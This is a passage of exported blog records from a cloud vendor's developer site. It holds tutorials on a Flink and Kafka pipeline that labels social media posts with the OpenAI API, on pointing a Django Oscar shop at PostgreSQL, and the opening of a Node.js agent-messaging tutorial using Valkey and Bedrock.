Aiven for Apache Kafka service to connect to:\n![Connect to Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/7a7e29a65512d592cac6b0c9c0e069483d109bd6-2812x1500.png)\n\nIt's time to [create a Flink Java application](https://aiven.io/docs/products/flink/howto/create-jar-application). Select **Applications** from the menu and click to create a new application. Choose JAR as the application type.\n\n![Create a new Flink application](https://cdn.sanity.io/images/sczeoy4w/production/7c6ee7d5ef822e22724dc85a58a246e3cea19214-2260x1124.png)\n\nYou don't see the JAR option? Make sure you enabled the usage of custom JARs during the service creation.\n\n### Navigating Apache Flink logs (optional)\n\nIn the following section, we'll be writing an Apache Flink program. Given the complexity, it's common for errors and typos to occur despite our best efforts. This is where logging proves invaluable, serving as a reliable ally during such situations.\n\nYou'll be able to access logging directly from the Logs section in your Aiven for Apache Flink service. However, for better convenience, you can also stream the logs into Aiven for OpenSearch (since we already created that service for our visualization, for the sake of this tutorial we can also reuse it for logs).\n\nTo send the logs into Aiven for OpenSearch, click \"Enable log integration\" and select your OpenSearch service.\n\n![Integrate logs with OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/bc3ad94173489184f06e3fcb30035d4367d6c634-2910x844.png)\n\nNow you can navigate to the dashboard of your OpenSearch service ([here](https://aiven.io/docs/products/opensearch/dashboards#get-started-with-aiven-for-opensearch-dashboards) you find more how to start using OpenSearch dashboards), where you can search, aggregate, filter by time, and perform other convenient operations with logs. For example, below is when I searched for specific payloads that were sent to OpenAI while debugging stubborn errors from OpenAI APIs. This capability can be incredibly useful for troubleshooting your Apache Flink application.\n\n![Check logs in OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/19c94a6a2dfe6a2e572c44f19f26f0c51b8accf2-2140x1530.png)\n\n\n### Creating Apache Flink job\n\nTime to write some code! You're welcome to use the complete code available in [the GitHub repository](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis). Below we break down the code into manageable parts to better understand it.\n\nThe structure of a Flink program is quite straightforward and consists of several essential elements:\n\n1. Creating an execution environment. This is where we establish the environment in which our Flink job will run.\n2. Defining the data source. Specify where our program will get its data from.\n3. Setting the destination for transformed data. We determine where the processed data will be sent after transformations.\n4. Defining data transformation logic. This is where the magic happens! We instruct Flink on how to manipulate the incoming data to produce the desired output.\n5. Initiating program execution. Finally, we set the trigger to start the execution of the program.\n\nLet's break down each of these steps using our social media analysis example to understand the flow better.\n\n### Creating an execution environment\nWhen working with the DataStream API, we begin by establishing a streaming environment. This is the foundation for the streaming and processing operations. We create it using the ``StreamExecutionEnvironment`` class provided by Apache Flink. This step sets the stage for defining our data sources, specifying transformations, and orchestrating the streaming jobs. \n\n```java\nfinal StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();\n```\n\n### Using external parameters\nOften we might need to inject some of the environment parameters during the deployment. For our code example we use a couple of external keys in our Flink code:\n- OpenAI key to call OpenAI API,\n- Aiven service integration id to get access to Apache Kafka credentials.\n\n\nWe'll see a bit later how to supply these values during the deployment, but for now within the code we presume the existence of these parameters:\n```java\nParameterTool parameters = ParameterTool.fromArgs(args);\n// integration key between Aiven for Apache Flink and Aiven for Apache Kafka\nString integrationId = parameters.getRequired(\"integration_id\");\n// openAIKey\nString openAIKey = parameters.getRequired(\"openAIKey\");\n```\n\n### Integrating the data source\nTo allow Apache Flink access the records from Apache Kafka we need to provide Apache Kafka credentials. These credentials, typically consisting of authentication details such as bootstrapServers, security protocols, etc. Here is how it is achieved through Aiven platform (read more about [Credential management for JAR applications](https://aiven.io/docs/products/flink/howto/manage-credentials-jars):\n\n```java\nString credentialsFilePath = System.getenv(\"AVN_CREDENTIALS_DIR\") + \"/\" + integrationId +\".json\";\n\nObjectMapper objectMapper = new ObjectMapper();\ntry (FileReader reader = new FileReader(credentialsFilePath)) {\n JsonNode rootNode = objectMapper.readTree(new File(credentialsFilePath));\n\n String bootstrapServers = rootNode.get(\"bootstrap_servers\").asText();\n String securityProtocol = rootNode.get(\"security_protocol\").asText();\n```\n\nUsing the provided information about ``bootstrapServers`` and ``securityProtocol``, we proceed to create a data source. As our data is in ``String`` format, we utilize the ``StringDeserializer``. \nIt's also important to specify the name of the topic from which our data originates. In my case, the topic name is \"messages\".\n\n```java\nKafkaSource\u003cString\u003e source = KafkaSource.\u003cString\u003ebuilder()\n .setProperty(\"bootstrap.servers\", bootstrapServers)\n .setProperty(\"security.protocol\", securityProtocol)\n .setDeserializer(KafkaRecordDeserializationSchema.valueOnly(StringDeserializer.class))\n .setTopics(\"messages\")\n .setGroupId(\"flink-consumer-group\")\n .build();\n```\n\nWith this we crate a new data stream within the execution environment or Apache Flink.\n\n```java\n// Create Kafka Stream as a source\nDataStream\u003cString\u003e kafkaStream = env.fromSource(source, WatermarkStrategy.noWatermarks() ,\"Kafka Source\");\n\n```\nBefore specifying transformations for our data stream, let's determine where we want to send the processed data.\n\n### Setting the destination for transformed data\n\nJust as we defined the source for our data, we now establish a Kafka sink.\n\nMake sure that you specify correctly the name of the topic where you want to stream the results. [Create that topic](https://aiven.io/docs/products/kafka/howto/create-topic#:~:text=To%20create%20a%20topic%20using,a%20name%20for%20the%20topic.) if necessary.\n```java\n// Configure Kafka sink to processed-messages topic\nKafkaSink\u003cString\u003e porocessedSink = KafkaSink.\u003cString\u003ebuilder()\n .setProperty(\"bootstrap.servers\", bootstrapServers)\n .setProperty(\"security.protocol\", securityProtocol)\n .setRecordSerializer(KafkaRecordSerializationSchema.builder()\n .setTopic(\"processed-messages\")\n .setValueSerializationSchema(new SimpleStringSchema())\n .build()\n )\n .build();\n```\nWith both the source and destination established, it's time to define the necessary transformations for our data stream.\n\n## Using OpenAI as the analysis engine\nThere are various powerful models available for data analysis tasks such as sentiment analysis, categorization, and identifying inappropriate language. While we could use specialized models for each task, in this tutorial, we'll experiment using a single model: GPT-3.5 Turbo from OpenAI (you can explore other alternatives as well).\n\nThis approach allows us to consolidate multiple requests into one question. However, it also presents a challenge. While responses from specialized models are highly deterministic and have consistent formats (usually providing probabilities as numerical values), working with LLMs like GPT-3.5 Turbo introduces some unpredictability. LLMs tend to generate verbose responses, which can be challenging to parse and align across high volume of requests.\n\nWe'll see the implications later when we visualize the results. But for now, let me show a somewhat chaotic prompt that I ended up (after numerous iterations) sending to the OpenAI API. Feel free to improve and modify it:\n\n\n```java\nString userMessage = \"Your task is to process a social media message delimited by --- .\" +\n\"Process the message and give me this information divided by symbol ; Don't use spaces or other punctuations. Use only this order!\" +\n\"First is sentiment analysis. Specify only using one of the words POSITIVE, NEGATIVE, UNKNOWN, NEUTRAL. Spell words correctly. Don't use other words\" +\n\"Second, identify the language of the message: EN, RU, FR, UA, etc. Use UpperCase, if cannot define use UNKNOWN. Spell words correctly. \" +\n\"Third, is there sarcasm in the message. use only these options: HAS SARCASM, NO SARCASM. If cannot define use UNKNOWN. Don't use other words. Spell words correctly. \" +\n\"Fourth, closest category of the message: News, Politics, Entertainment, Sports, Technology, Health, Culture, Travel, Fashion, Beauty, Food. Don't use other words.\" +\n\"Fifth, if it contains any offensive, rude, inappropriate language, or sex language. Use these words: INAPPROPRIATE, APPROPRIATE. Spell words correctly. \" +\n\"For example:\" +\n\"- It is amazing my favourite sport team has won!, you should return POSITIVE;EN;NO SARCASM;Sports;APPROPRIATE\" +\n\"- I'm so angry about this new law!, you should return NEGATIVE;EN;NO SARCASM;Politics;APPROPRIATE\" +\n\"Answer with only a set of words in the right order described above, no additional description. Spell words correctly.\" +\n\"---\" +\ninput +\n\"---\";\n```\n\nYou might notice that I redundantly request the model to spell words correctly and not to use any alternative phrases. While you might think that the LLM is smart enough to understand this with less explanation, my experience proved it to be the opposite. When processing huge volumes of data, occasionally the model either ignores or forgets part of the prompt, or gets creative and does something that we specifically ask it not to do.\n\nBy redundantly specifying our requirements throughout the request, I achieved a bit better consistency (we'll see the results very soon!).\n\nThe combined request to OpenAI looks like this:\n\n```java\n// Construct the JSON object using Jackson\nObjectMapper mapper = new ObjectMapper();\nObjectNode payload = mapper.createObjectNode();\npayload.put(\"model\", \"gpt-3.5-turbo\");\n\nArrayNode messagesArray = mapper.createArrayNode();\n\nObjectNode systemMessage = mapper.createObjectNode();\nsystemMessage.put(\"role\", \"system\");\nsystemMessage.put(\"content\", \"You are an AI processing social media content. You need to process the messages. You spell English words correctly.\");\nmessagesArray.add(systemMessage);\n\nObjectNode userMessageObject = mapper.createObjectNode();\nuserMessageObject.put(\"role\", \"user\");\nuserMessageObject.put(\"content\", userMessage);\nmessagesArray.add(userMessageObject);\n\npayload.set(\"messages\", messagesArray);\n\nreturn mapper.writeValueAsString(payload);\n```\nYou can find to the complete method ``generatePrompt`` in [AiJob.java](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis/blob/main/src/main/java/io/aiven/AiJob.java) )\n\nNext we add a method to parse the enriched section by splitting it into chunks: \n\n```java\npublic String transform() {\n ObjectMapper dataMapper = new ObjectMapper();\n System.out.println(\"this.intelligentOutput \" + this.intelligentOutput);\n // Create an empty JSON object\n ObjectNode result = dataMapper.createObjectNode();\n\n // Add text properties to the JSON object\n result.put(\"content\", this.content);\n String[] values = this.intelligentOutput.split(\";\");\n if(values.length == 5) {\n result.put(\"sentiment\", values[0]);\n result.put(\"language\", values[1]);\n result.put(\"sarcasm\", values[2]);\n result.put(\"category\", values[3]);\n result.put(\"appropriate language\", values[4]);\n }\n\n return result.toString();\n}\n\n```\n\nThe call to OpenAI API is done within AsyncHttpRequestFunction that implements AsyncFunction\u003cString, Message\u003e. See complete implementation at [AiJob.java](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis/blob/main/src/main/java/io/aiven/AiJob.java).\n\n### Transforming the data\n\nTo create a processing stream and call ``AsyncHttpRequestFunction``, we use ``AsyncDataStream``. Here, we specify the source stream, the function to process the records, the timeout, and the capacity.\n\n```java\n// call AsyncHttpRequestFunction to process messages\nDataStream\u003cMessage\u003e resultDataStream = AsyncDataStream.unorderedWait(kafkaStream, new AsyncHttpRequestFunction(openAIKey), 10000, TimeUnit.MILLISECONDS, 100);\n\n```\n\nNext we apply the transformation to each of the records using the ``transform`` method and sink the result to the ``porocessedSink``.\n```java\n// For every processed message call transform function and send data to Kafka sink topic\n resultDataStream\n .map(Message::transform)\n .sinkTo(porocessedSink);\n\n```\n\n### Starting program execution\nOnce we have described the source, the sink, and the transformations, we can start the data flow.\n```java\nenv.execute(\"Kafka to Kafka Job\");\n```\n\n### Creating a deployment\nBuild your JAR file by running ``mvn clean package`` (feel free to clone [the complete repository](https://github.com/Aiven-Labs/mastodon-openai-flink-analysis)).\n\nIn the Flink application click **Upload the first version** and choose the created JAR file (you can find it in the *Target* folder next to the code).\n![Choose file to deploy](https://cdn.sanity.io/images/sczeoy4w/production/33e699b549e375fbe5a21b8d3fcc5842ea592a17-1750x1014.png)\n\nPress **Create Deployment** to open the deployment dialog:\n![Deploy JAR](https://cdn.sanity.io/images/sczeoy4w/production/ccd73dd28c25b2a504660034a411ec97918eb4db-1442x1496.png)\n\nHere you can leave all default parameters with an exception of *Program args*. In the section *Program args* we need to enter the parameters that the Java code expects, namely the OpenAI API key and the integration id. Integration id is needed to locate the credentials file. Follow [these instructions](https://aiven.io/docs/products/flink/howto/manage-credentials-jars) to get the integration id between your Aiven for Apache Kafka and Aiven for Apache Flink services, look at the usage of [this CLI command](https://aiven.io/docs/tools/cli/service/integration#avn_service_integration_list).\n\nOnce the parameters are set in. Click to deploy.\n\nThe records will be processed by Apache Flink and sent to the sink topic. Here is an example of a processed record:\n![Processed message](https://cdn.sanity.io/images/sczeoy4w/production/4bc6a30c8d1831b66f53b87941b280087e8dd23a-2346x1216.png)\n\n## Visualizing\nOpenSearch is an excellent tool for visualizing streaming data from an Apache Kafka topic and there is already an Apache Kafka connector available to integrate these two services.\n\nCheck for [the instructions on how to start using the sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink). Alternatively look at [this tutorial](https://aiven.io/developer/mastodon-kafka-opensearch) which works with a similar example.\n\n![Create a connector](https://cdn.sanity.io/images/sczeoy4w/production/30701a6fd5169180c8496493eefa834b08361f1f-2862x1466.png)\n\n## Results and challenges\n\nIn the pursuit to optimize the prompt for the LLM, I underwent several iterations. Initially, the GPT model consistently produced misspellings, variations in letter casing, and other orthographic inconsistencies when generating outcomes. Here is a screenshot illustrating these challenges:\n\n![Problem with the LLM result](https://cdn.sanity.io/images/sczeoy4w/production/99d51708eadc6c00c30a432321fbaa7b637f931b-2602x1218.png)\n\nAfter implementing several iterations, the model outcome improved significantly. However, one persistent challenge remained: marking appropriate language usage. Apparently spelling of the words \"appropriate\" or \"inappropriate\" is in the same way challenging for the GPT model, as it is for humans. Notice the misspellings in the screenshot below:\n\n![Inappropriate language](https://cdn.sanity.io/images/sczeoy4w/production/9bc054c3ca2b4029e77d0fa94fc1264361874223-1482x1054.png)\n\nOverall, with the data we've generated, we can now look into various correlations. For instance, we can identify the most significant categories associated with messages of negative sentiment, as illustrated below:\n![Negative sentiment](https://cdn.sanity.io/images/sczeoy4w/production/9d1738b21faa7e788f10ebb5e93de5a7e9374249-2888x1020.png)\nConversely, the list of categories producing messages with positive sentiment shows interesting distinctions, as well as an overlap with the negative sentiment:\n![Positive sentiment](https://cdn.sanity.io/images/sczeoy4w/production/e92953fb1caf9f15ef0391b443acae114c53dd3f-2894x900.png)\n\nHere is the global distribution of sentiment analysis and the categories:\n![Categories and sentiments](https://cdn.sanity.io/images/sczeoy4w/production/c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5-2910x918.png)\n\nCategories of the messages as defined by LLM:\n![Categories](https://cdn.sanity.io/images/sczeoy4w/production/36d0898467a1b1f8ab6b8669523db3642573a838-1452x902.png)\nIt's worth noting that the model occasionally diverged from the provided category list, offering its own creative options. Despite this, for the sake of simplicity and efficiency, I opted to proceed without complicating the prompt further. \n\n# Conclusion and next steps\nIn this article, we explored data analysis using OpenAI LLM alongside data streaming technologies like Apache Kafka and Apache Flink. While the usage of an LLM model presents an appealing option for replacing multiple specialized models, unfortunately, its unpredictable behavior adds complexity to writing prompts and parsing responses.\n\nIf you're interested in other materials about Apache Kafka and Apache Flink, be sure to check out:\n- [Apache Kafka® as source and sink with Apache Flink® to process streaming data](https://aiven.io/developer/kafka-source-sink-flink-integration)\n- [Stream Mastodon data to Apache Kafka® using NodeJS and TypeScript](https://aiven.io/developer/mastodon-kafka-js)\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-06-17T15:20:43.624Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-06-13T07:38:06.111Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI","asset":{"_ref":"image-774e96c9eb11413fb5356a2c435c21e4ca2acf4d-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models"},"subtitle":"Make sense of social media data with Apache Kafka® and Apache Flink®","tags":[{"_key":"5027510e5a66","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"877042413922","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"04674af16a29","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"ae6247b68caf","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"0d54b566cfdd","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"ad353ff88635","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:27:05Z","_id":"11ee8dde-b1ef-4265-8958-951b00b6feaa","_rev":"ZhxRwgWPklJwoe04lpS9RV","_type":"devArticle","_updatedAt":"2024-11-28T13:06:08Z","body":"Developers love tools that make their lives easier, and so do I. In this post I'll demonstrate using [Django](https://www.djangoproject.com/), probably the best known Python web framework, with PostgreSQL®, one of my favourite databases.\n\nAs a realistic example of a Django application, I will use [Oscar](https://github.com/django-oscar/django-oscar), an e-commerce framework with a ready-made sandbox.\nBy default Oscar uses SQLite for storage, but I will show how to adapt it to use PostgreSQL instead, using Aiven for PostgreSQL.\n\n## Install Oscar\n\nStart by cloning the repository\n\n```shell\ngit clone --branch releases/3.2.4 https://github.com/django-oscar/django-oscar.git\n```\nand then\n```shell\ncd django-oscar\n```\n\n::alert[This sets us up to use release 3.2.4 of Oscar. To find out if there's a later release, look at the [Oscar release notes](https://docs.oscarcommerce.com/en/latest/releases/index.html) page, or use `git branch -a | grep releases` (unfortunately they're not sorted by release order). You can then `git checkout releases/X.Y.Z` to use release X.Y.Z. ]\n\nSince I am installing new requirements for this project, I use a virtual environment. This stops the packages for this project from interfering with any other Python packages I might have installed.\n```shell\npython3 -m venv venv\nsource venv/bin/activate\n```\n\nOscar's Makefile uses [npm](https://www.npmjs.com/package/npm) to pull in the dependencies it needs. On my Mac I install `npm` using [homebrew](https://brew.sh/):\n```shell\nbrew install npm\n```\n\nCreate the default sandbox installation using\n```shell\nmake sandbox\n```\nwhich installs the project dependencies, and sets up a version of the sandbox with example data stored in a local SQLite database.\n\n::alert[On an M1 or M2 Mac, `make sandbox` may fail in its `npm install` stage when it tries to install [node-sass](https://www.npmjs.com/package/node-sass), which is deprecated. If that happens, edit the `package.json` file, delete the line `\"node-sass\": \"^9.0.0\",` and then run `make sandbox` again. This should be fixed in a future version of Oscar.]{type=\"warning\"}\n\n::alert[You may see various deprecation warnings from npm - these can be safely ignored in the context of a sandbox build for local use.]\n\n\n## Use the default SQLite setup\n\nWith the sandbox set up, run the Django project locally using:\n```shell\nsandbox/manage.py runserver\n```\n\nThis starts the development server and indicates its URL, `http://127.0.0.1:8000/`. When I open a web browser window at that address, I see the Oscar Sandbox store front.\n\n![Oscar sandbox screenshot](//images.ctfassets.net/q3u27v6lpki8/6ukRTMGXnR9AvwjyfrFr5x/fc983ec1a9ce673ae8ac967983b05bc7/oscar-sandbox-screenshot.png)\n\nTo prove that the system is working, try \"buying\" a couple of books, adding them to the basket, checking out, and seeing the order details.\n\n::alert[It's not possible to pay for the test purchase since we don't have a payment mechanism set up. Instead, the \"Payment\" page provides links to some possible implementation choices, and otherwise does nothing.]{title=\"Note\"}\n\nI can also add an account for myself, setting my address, and see that the account and purchase information persist when I restart the web server, since they are stored in the database.\n\n## Oscar database configuration\n\nThe `sandbox/settings.py` file is the central \"settings\" file for this Django application, and the value for `DATABASES` specifies how and where to access the application database.\n\nThe default is to use SQLite, but the use of `os.environ.get` allows me to override the default choices by setting environment variables. In each case, the first argument to `os.environ.get` is the name of an environment variable, and the second argument is the value to use if that environment variable is not set.\n\n```python\n# Use a Sqlite database by default\nDATABASES = {\n 'default': {\n 'ENGINE': os.environ.get('DATABASE_ENGINE', 'django.db.backends.sqlite3'),\n 'NAME': os.environ.get('DATABASE_NAME', location('db.sqlite')),\n 'USER': os.environ.get('DATABASE_USER', None),\n 'PASSWORD': os.environ.get('DATABASE_PASSWORD', None),\n 'HOST': os.environ.get('DATABASE_HOST', None),\n 'PORT': os.environ.get('DATABASE_PORT', None),\n 'ATOMIC_REQUESTS': True\n }\n}\n```\n\nSQLite stores its database in a single file, in this case `sandbox/db.sqlite`. We want to use PostgreSQL®, so we will create a database and then configure Oscar to store its data there.\n\n## Create a PostgreSQL® database\n\nTo create the PostgreSQL database, follow the instructions at the beginning of [Getting started with Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/get-started). My setup uses the following choices:\n\n* The current default version of PostgreSQL, v14.\n* Google Cloud and location `google-europe-north1`.\n* For this demo, I choose Service Plan \"Hobbyist\". This is the minimal plan, which says it is suitable for \"small test environments\". For production databases you will probably want the more robust options available in the Business or Premium plans.\n* My service needs a name, and \"tibs-django-pg\" is fairly self-explanatory.\n\n## Use PostgreSQL as the backend database\n\nAs we saw above, the `DATABASES` setup in the `sandbox/settings.py` file has been written to look values up from environment variables.\n\nTo change to using a PostgreSQL database, I set the appropriate environment variables in my shell (shown here for Bash):\n```shell\nDATABASE_ENGINE='django.db.backends.postgresql_psycopg2'\nDATABASE_NAME='defaultdb'\nDATABASE_USER='\u003cUSER\u003e'\nDATABASE_PASSWORD='\u003cPASSWORD\u003e'\nDATABASE_HOST='\u003cHOST\u003e'\nDATABASE_PORT='\u003cPORT\u003e'\n```\nwhere `\u003cUSER\u003e`, `\u003cPASSWORD\u003e`, `\u003cHOST\u003e` and `\u003cPORT\u003e` are replaced with the values from the \"Connection Information\" on the [Aiven Console](https://console.aiven.io/login) service page for the PostgreSQL service.\n\nI'm using the database name as the default provided by the service; in a real life application, it would be sensible to create a new database with a more appropriate name and different access credentials than the defaults.\n\nOnce the Aiven for PostgreSQL service is `Running`, rebuid the sandbox database with:\n```shell\nmake build_sandbox\n```\nThis runs the ``sandbox_clean``, ``sandbox_load_user`` and ``sandbox_load_data`` targets:\n\n* `sandbox_clean` deletes locally cached items, and deletes the `db.sqlite` file\n* `sandbox_load_user` loads the user data into the database, as specified by the new settings - so the PostgreSQL database\n* `sandbox_load_data` loads the sample product information into the database\n\nNote that it is *not* performing any migration from the SQLite database, it's just populating our new PostgreSQL database with the same example source data.\n\nRestart the application server\n```shell\nsandbox/manage.py runserver\n```\nand again open a browser window at `http://127.0.0.1:8000/`.\n\nThe online shop looks identical to when SQLite was being used.\n\nI can do the same actions as before:\n\n* buy a couple of books, add them to my basket, check out, and see the order details.\n* create an account, set my address, and then buy a book while logged in\n\nMy account information and order history are still remembered when I restart the server.\n\n## Inspect the PostgreSQL database\n\nTo see how the data is stored in the database, connect to it using the Django `dbshell` command:\n```shell\nsandbox/manage.py dbshell\n```\n\nwhich is a convenient way of opening the command line interface to the backing database - in this case, `psql`.\n\nTyping `\\d` lists the Oscar sandbox tables in `defaultdb` (with 185 rows in the response).\n\nFirst I query the `auth_users` table to check my account details:\n\n`SELECT id, username, email FROM auth_user;` gave me\n```\n id | username | email\n----+--------------------------------+-----------------------\n 1 | superuser | superuser@example.com\n 2 | staff | staff@example.com\n 3 | j4WAvjzRDGpGTrxnwM_awovzeoTLIL | tibs@example.com\n(3 rows)\n```\nwhich shows that my user id is `3`.\n\nLooking around to see if I can find the record of my book purchase, I see that `SELECT id, status, owner_id FROM basket_basket where owner_id = 3;` returns\n ```\n id | status | owner_id\n ----+-----------+----------\n 1 | Submitted | 3\n 2 | Open | 3\n (2 rows)\n ```\nwhich shows I \"submitted\" one checkout basket, with id of `1`.\n\nLooking up the basket with `SELECT id, quantity, product_id FROM basket_line WHERE basket_id = 1;` gives me\n```\n id | quantity | product_id\n----+----------+------------\n 1 | 1 | 190\n(1 row)\n```\n\nFinally,looking up that product by its id, `SELECT title FROM catalogue_product WHERE id = 190;` shows\n```\n title\n----------------------------\n The Cathedral \u0026 the Bazaar\n(1 row)\n```\nwhich is the name of the book I bought.\n\nFinally, exit `psql` using the `\\q'` command.\n```\ndellstore-\u003e \\q\n```\n\n## Oscar and Aiven for PostgreSQL\n\nIn this post, I explored how to use an Aiven service (Aiven for PostgreSQL) as a backend for a web platform I already knew, [Django](https://www.djangoproject.com/).\nTo avoid the lengthy process of setting up my own Django application, I decided to use an existing one, the [Oscar sandbox](https://django-oscar.readthedocs.io/en/stable/internals/sandbox.html)\n\nThe setup was not too difficult and I'll definitely consider using this combination again.\n\n## Next steps\n\nIf you want to learn more about Django itself, the offical [Django tutorial](https://docs.djangoproject.com/en/4.0/intro/tutorial01/) is a good place to start.\n\nI also recommend the [Django documentation](https://docs.djangoproject.com/en/4.0/) as a reference for anyone working with Django or related projects.\n\nThe [Oscar documentation](https://django-oscar.readthedocs.io/) has a lot more information about the project. I'm very grateful that they've made the sandbox application available as a quick way of getting a realistic Django project up and running.\n\nWe've got a follow up article on how to add caching to the application, [Set up Django to use Aiven for Valkey™](https://aiven.io/developer/set-up-django-to-use-aiven-for-valkey).\n\nAlso, check out [Aiven for PostgreSQL®](https://aiven.io/postgresql), and\nif you're not using Aiven services yet, go ahead and sign up for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup).","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:27:00.534Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"97a9f81b1766","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-05-18T10:40:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0c005fac0d664824034d1aa0981622dd83bfef3e-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/django-and-aiven-for-pg"},"subtitle":"Django is a fully-featured high-level Python web framework. Read on to see how to get it to store its data in an Aiven for PostgreSQL® database.","tags":[{"_key":"5a096ef6c3c5","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"215a2661720a","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"eae65d2fab47","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Set up Django to use Aiven for PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2024-08-26T03:38:28Z","_id":"b92eed13-153d-4a28-87d1-450726d0991e","_rev":"Rx1Nho763d29lawKrbhtjv","_type":"devArticle","_updatedAt":"2024-08-29T08:41:39Z","body":"This tutorial will walk you through setting up a communication system between AI agents using Aiven for Valkey™ and Amazon Bedrock’s Claude model. The goal is to enable agents to operate independently while staying in sync through a pub/sub service.\n\n![diagram.png](https://cdn.sanity.io/images/sczeoy4w/production/c77ee2b2aa11ce983951a9918a73bfe48c2de06f-1382x1448.png)\n\nThis setup is particularly useful in scenarios like automating customer support, managing IoT devices, or any situation where systems need to communicate in real-time.\n\nIn this tutorial we'll take an example of two inhabitants of an imaginary planet that meet and start talking.\n\nThe complete code can be found in [the github repository](https://github.com/Aiven-Labs/agent-communication-valkey-bedrock). However, by following the steps below you can create the project step by step on your own.\n\n## Prerequisites\nTo follow along you'll need:\n\n- access to AWS and sufficient permissions to access Amazon Bedrock foundation models;\n- npm and NodeJS installed on your machine or, alternatively, you can use [Github Codespaces](https://github.com/features/codespaces) or a similar environment with pre-installed libraries.\n\n## Step 1. Create a pub/sub service\nTo ensure our agents can operate independently while still listening to each other, we'll need a pub/sub service. For this tutorial, we're using Aiven for Valkey.\nIf you don't have an Aiven account yet, [register here](https://go.aiven.io/aws-agents-workshop). You can create an Aiven for Valkey service via the console, CLI, or with a Terraform script. More details can be found [on the get started page](https://aiven.io/docs/products/valkey/get-started).\n\nOnce your service is up and running, make sure to copy the service URI — we'll need it later.\n\n## Step 2. Enable Amazon Bedrock Claude model\nIn this project, we’re using the Claude LLM available through Amazon Bedrock. Before we can invoke the model, we need to enable access:\n\n1. In the AWS console, select a region where Amazon Bedrock and the Claude model are available (e.g., us-east-1).\n2. Navigate to the Amazon Bedrock service page.\n3. In the menu, select **Providers** then choose Anthropic, and scroll down to the Claude models.\n ![aws-providers.png](https://cdn.sanity.io/images/sczeoy4w/production/c6b6a3aca4cfda81943bd62582cacb3118c7c3f5-3024x803.png)\n4. We’re using Claude 3 Haiku for this project. You can select a different model, but note that this might require adjustments in the request/response formats.\n5. If you see a message `This account does not currently have access to this model. Request access in Model access.` go to Model access and enable the model.\n\n### AWS credentials\n\nThis project assumes that AWS_SECRET_ACCESS_KEY and AWS_ACCESS_KEY_ID are set as environment variables.\nFollow [AWS documentation](https://docs.aws.amazon.com/keyspaces/latest/devguide/access.credentials.html) for more details.\n\n## Step 3. Create the Agent boilerplate\n\nTime to write some code. We’ll be using Node.js, so start by creating a new project folder and running ``npm install``. Feel free to keep the default answers while creating a ``package.json``.\n\nNext, create a file named ``agent.js`` where we’ll define an Agent class to hold the properties and methods needed for our agents. The basic properties we’ll include are:\n\n- The agent’s name (which will be used as an ID by other agents for interaction, and to define the pub/sub channel).\n- The name of the agent with whom we want to interact.\n- An array to store recent memories.\n- A boolean flag indicating whether this agent initiates the conversation.\n\nOur agent will also need an initialization method to kickstart the conversation and listen to other agents. We’ll add this method along with a couple of placeholder methods - ``startListeningToOthers`` and ``startConversation`` - that we’ll implement in later steps.\n\nHere’s a basic version of our Agent class:\n\n```js\nclass Agent {\n constructor(agentName, anotherAgent, starts) {\n this.agentName = agentName;\n this.anotherAgent = anotherAgent;\n this.shortMemory = [];\n this.starts = starts;\n }\n\n async initiate() {\n // await this.startListeningToOthers();\n if (this.starts) {\n // await this.startConversation(this.anotherAgent);\n }\n }\n}\n\nexport default Agent;\n```\n\nAdmittedly, this code is pretty bare-bones right now, but it gives us a good starting point. To get things rolling, let’s create a ``run.js`` file to initiate a conversation between a couple of agents:\n\n```js\nimport Agent from './agent.js';\n\nconst nick = new Agent('Nick', 'Judy', false);\nnick.initiate();\n\nconst judy = new Agent('Judy', 'Nick', true);\njudy.initiate();\n```\n\nYou can run this script with:\n\n```node run```\n\n\n\n## Step 4. Listen and communicate via pub/sub with Aiven for 